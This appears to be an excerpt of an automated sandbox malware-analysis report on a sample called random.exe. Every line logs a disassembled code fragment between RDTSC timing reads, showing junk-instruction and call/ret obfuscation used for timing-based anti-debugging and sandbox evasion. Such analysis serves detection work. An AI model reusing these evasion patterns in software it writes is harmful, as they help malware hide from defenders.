Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 316B4F second address: 316B58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 316B58 second address: 316B68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jng 00007F417D1BB40Eh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 316B68 second address: 316B7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jmp 00007F417CDB1D51h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 316B7F second address: 316BA5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007F417D1BB406h 0x00000009 jmp 00007F417D1BB415h 0x0000000e js 00007F417D1BB406h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 2E5F80 second address: 2E5F84 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 2E5F84 second address: 2E5F9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F417D1BB40Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 2E5F9C second address: 2E5FA6 instructions: 0x00000000 rdtsc 0x00000002 js 00007F417CDB1D46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 2E5FA6 second address: 2E5FAE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 2E5FAE second address: 2E5FB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 31B5A9 second address: 31B5B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jnp 00007F417D1BB406h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 31A3B4 second address: 31A3B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 31A3B9 second address: 31A3D9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F417D1BB40Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f jng 00007F417D1BB406h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 31BC21 second address: 31BC27 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 31BC27 second address: 31BC2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 31FCA7 second address: 31FCAD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 31FCAD second address: 31FCD6 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F417D1BB40Eh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F417D1BB40Bh 0x00000011 push esi 0x00000012 push eax 0x00000013 pop eax 0x00000014 jo 00007F417D1BB406h 0x0000001a pop esi 0x0000001b rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 31FFD4 second address: 31FFD8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 3203E6 second address: 3203FA instructions: 0x00000000 rdtsc 0x00000002 jl 00007F417D1BB408h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e jnl 00007F417D1BB406h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 3203FA second address: 320429 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F417CDB1D4Ch 0x00000013 jng 00007F417CDB1D46h 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c jc 00007F417CDB1D46h 0x00000022 js 00007F417CDB1D46h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 32056F second address: 320573 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 321583 second address: 32158C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 321B00 second address: 321B06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 321B06 second address: 321B6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push edx 0x00000009 pop edx 0x0000000a popad 0x0000000b popad 0x0000000c xchg eax, ebx 0x0000000d push 00000000h 0x0000000f push edx 0x00000010 call 00007F417CDB1D48h 0x00000015 pop edx 0x00000016 mov dword ptr [esp+04h], edx 0x0000001a add dword ptr [esp+04h], 00000017h 0x00000022 inc edx 0x00000023 push edx 0x00000024 ret 0x00000025 pop edx 0x00000026 ret 0x00000027 jmp 00007F417CDB1D57h 0x0000002c adc esi, 59D5048Bh 0x00000032 push eax 0x00000033 jo 00007F417CDB1D60h 0x00000039 push eax 0x0000003a push edx 0x0000003b jmp 00007F417CDB1D52h 0x00000040 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 321D8B second address: 321D8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 321D8F second address: 321DA5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F417CDB1D4Ch 0x0000000f rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 321FB6 second address: 321FBC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 322063 second address: 322082 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F417CDB1D56h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 322082 second address: 322086 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 322086 second address: 3220A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnp 00007F417CDB1D52h 0x00000010 jmp 00007F417CDB1D4Ch 0x00000015 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 3220A2 second address: 3220BF instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jnp 00007F417D1BB406h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d xchg eax, ebx 0x0000000e jng 00007F417D1BB414h 0x00000014 pushad 0x00000015 ja 00007F417D1BB406h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 32259A second address: 3225B4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F417CDB1D56h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 323133 second address: 32319C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push ebx 0x0000000e call 00007F417D1BB408h 0x00000013 pop ebx 0x00000014 mov dword ptr [esp+04h], ebx 0x00000018 add dword ptr [esp+04h], 0000001Ch 0x00000020 inc ebx 0x00000021 push ebx 0x00000022 ret 0x00000023 pop ebx 0x00000024 ret 0x00000025 push 00000000h 0x00000027 push 00000000h 0x00000029 push esi 0x0000002a call 00007F417D1BB408h 0x0000002f pop esi 0x00000030 mov dword ptr [esp+04h], esi 0x00000034 add dword ptr [esp+04h], 0000001Ch 0x0000003c inc esi 0x0000003d push esi 0x0000003e ret 0x0000003f pop esi 0x00000040 ret 0x00000041 mov edi, dword ptr [ebp+122D2AD1h] 0x00000047 push 00000000h 0x00000049 mov edi, dword ptr [ebp+122D2A7Dh] 0x0000004f push eax 0x00000050 pushad 0x00000051 push eax 0x00000052 push edx 0x00000053 push edx 0x00000054 pop edx 0x00000055 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 3262E6 second address: 326318 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F417CDB1D59h 0x00000008 jmp 00007F417CDB1D4Ah 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 2DD996 second address: 2DD99A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 2DD99A second address: 2DD9F1 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F417CDB1D46h 0x00000008 jnc 00007F417CDB1D46h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jmp 00007F417CDB1D53h 0x00000015 pop edx 0x00000016 push eax 0x00000017 jmp 00007F417CDB1D58h 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F417CDB1D52h 0x00000023 ja 00007F417CDB1D46h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 32609A second address: 32609E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 32609E second address: 3260A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 32CEB4 second address: 32CF43 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F417D1BB40Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push esi 0x00000010 call 00007F417D1BB408h 0x00000015 pop esi 0x00000016 mov dword ptr [esp+04h], esi 0x0000001a add dword ptr [esp+04h], 0000001Dh 0x00000022 inc esi 0x00000023 push esi 0x00000024 ret 0x00000025 pop esi 0x00000026 ret 0x00000027 add dword ptr [ebp+122D2FB9h], edx 0x0000002d push 00000000h 0x0000002f push 00000000h 0x00000031 push edi 0x00000032 call 00007F417D1BB408h 0x00000037 pop edi 0x00000038 mov dword ptr [esp+04h], edi 0x0000003c add dword ptr [esp+04h], 0000001Bh 0x00000044 inc edi 0x00000045 push edi 0x00000046 ret 0x00000047 pop edi 0x00000048 ret 0x00000049 push 00000000h 0x0000004b mov edi, 4CC11B33h 0x00000050 xchg eax, esi 0x00000051 jmp 00007F417D1BB413h 0x00000056 push eax 0x00000057 pushad 0x00000058 push eax 0x00000059 push edx 0x0000005a jmp 00007F417D1BB40Ch 0x0000005f rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 32CF43 second address: 32CF47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 32CF47 second address: 32CF55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jno 00007F417D1BB406h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 32E110 second address: 32E15F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 sub dword ptr [ebp+12476A8Eh], esi 0x0000000f push dword ptr fs:[00000000h] 0x00000016 or ebx, 7F8EC547h 0x0000001c mov dword ptr fs:[00000000h], esp 0x00000023 cld 0x00000024 mov eax, dword ptr [ebp+122D104Dh] 0x0000002a add dword ptr [ebp+122D2883h], esi 0x00000030 push FFFFFFFFh 0x00000032 mov bl, cl 0x00000034 push eax 0x00000035 push eax 0x00000036 push edx 0x00000037 jmp 00007F417CDB1D58h 0x0000003c rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 32F294 second address: 32F2B1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F417D1BB419h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 32F2B1 second address: 32F2B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 331ECF second address: 331F24 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F417D1BB40Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push ebx 0x0000000f call 00007F417D1BB408h 0x00000014 pop ebx 0x00000015 mov dword ptr [esp+04h], ebx 0x00000019 add dword ptr [esp+04h], 0000001Ch 0x00000021 inc ebx 0x00000022 push ebx 0x00000023 ret 0x00000024 pop ebx 0x00000025 ret 0x00000026 mov ebx, 0980B61Bh 0x0000002b mov ebx, dword ptr [ebp+122D2ED4h] 0x00000031 push 00000000h 0x00000033 movsx edi, di 0x00000036 push 00000000h 0x00000038 mov ebx, dword ptr [ebp+124694ACh] 0x0000003e xchg eax, esi 0x0000003f push ebx 0x00000040 pushad 0x00000041 push eax 0x00000042 push edx 0x00000043 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 3310F5 second address: 331102 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jbe 00007F417CDB1D46h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 331F24 second address: 331F2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 33306E second address: 333075 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 3321A0 second address: 3321A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 334020 second address: 334036 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F417CDB1D52h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 33326D second address: 333271 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 333271 second address: 333275 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 333275 second address: 33327B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 3350EF second address: 3350F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 3350F3 second address: 335109 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F417D1BB408h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jns 00007F417D1BB406h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 336002 second address: 336007 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 336F5D second address: 336F73 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jnp 00007F417D1BB406h 0x0000000d pop edi 0x0000000e popad 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 336F73 second address: 336F77 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 336F77 second address: 336F7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 33529F second address: 3352A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 336247 second address: 33624B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 337096 second address: 337106 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 jmp 00007F417CDB1D56h 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push eax 0x0000000f call 00007F417CDB1D48h 0x00000014 pop eax 0x00000015 mov dword ptr [esp+04h], eax 0x00000019 add dword ptr [esp+04h], 00000016h 0x00000021 inc eax 0x00000022 push eax 0x00000023 ret 0x00000024 pop eax 0x00000025 ret 0x00000026 pushad 0x00000027 add ebx, dword ptr [ebp+122D2D71h] 0x0000002d mov ax, FA52h 0x00000031 popad 0x00000032 push dword ptr fs:[00000000h] 0x00000039 cmc 0x0000003a mov dword ptr fs:[00000000h], esp 0x00000041 push edi 0x00000042 mov bh, dl 0x00000044 pop ebx 0x00000045 mov eax, dword ptr [ebp+122D0C11h] 0x0000004b and edi, dword ptr [ebp+122D2A01h] 0x00000051 push FFFFFFFFh 0x00000053 clc 0x00000054 push eax 0x00000055 push ecx 0x00000056 pushad 0x00000057 push ebx 0x00000058 pop ebx 0x00000059 push eax 0x0000005a push edx 0x0000005b rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 3352A3 second address: 3352A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 338154 second address: 338213 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 je 00007F417CDB1D54h 0x0000000c pushad 0x0000000d jnc 00007F417CDB1D46h 0x00000013 jl 00007F417CDB1D46h 0x00000019 popad 0x0000001a nop 0x0000001b mov dword ptr [ebp+122D1B5Dh], ebx 0x00000021 mov bx, 71B7h 0x00000025 push dword ptr fs:[00000000h] 0x0000002c jg 00007F417CDB1D4Ah 0x00000032 mov dword ptr fs:[00000000h], esp 0x00000039 push 00000000h 0x0000003b push esi 0x0000003c call 00007F417CDB1D48h 0x00000041 pop esi 0x00000042 mov dword ptr [esp+04h], esi 0x00000046 add dword ptr [esp+04h], 0000001Dh 0x0000004e inc esi 0x0000004f push esi 0x00000050 ret 0x00000051 pop esi 0x00000052 ret 0x00000053 jmp 00007F417CDB1D4Bh 0x00000058 mov eax, dword ptr [ebp+122D0FD5h] 0x0000005e push 00000000h 0x00000060 push ecx 0x00000061 call 00007F417CDB1D48h 0x00000066 pop ecx 0x00000067 mov dword ptr [esp+04h], ecx 0x0000006b add dword ptr [esp+04h], 0000001Ah 0x00000073 inc ecx 0x00000074 push ecx 0x00000075 ret 0x00000076 pop ecx 0x00000077 ret 0x00000078 push FFFFFFFFh 0x0000007a jnp 00007F417CDB1D61h 0x00000080 nop 0x00000081 push eax 0x00000082 pushad 0x00000083 push esi 0x00000084 pop esi 0x00000085 push eax 0x00000086 push edx 0x00000087 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 338F24 second address: 338F28 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 338213 second address: 338223 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push esi 0x0000000a pop esi 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 338F28 second address: 338F51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jg 00007F417D1BB418h 0x0000000c popad 0x0000000d push eax 0x0000000e jbe 00007F417D1BB40Eh 0x00000014 push eax 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 339FFD second address: 33A003 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 33910B second address: 339122 instructions: 0x00000000 rdtsc 0x00000002 je 00007F417D1BB408h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jl 00007F417D1BB40Ch 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 33A003 second address: 33A007 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 339122 second address: 339126 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 33BE09 second address: 33BE2A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F417CDB1D55h 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 33BE2A second address: 33BE2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 33B11C second address: 33B120 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 33BE2E second address: 33BE3B instructions: 0x00000000 rdtsc 0x00000002 jne 00007F417D1BB406h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 33B120 second address: 33B124 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 33C020 second address: 33C036 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F417D1BB408h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d je 00007F417D1BB414h 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 33C036 second address: 33C03C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 33C101 second address: 33C107 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 340318 second address: 340331 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F417CDB1D54h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 344B62 second address: 344B6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 344B6B second address: 344B87 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F417CDB1D58h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 3443AD second address: 3443B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop ecx 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 3446AF second address: 3446B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
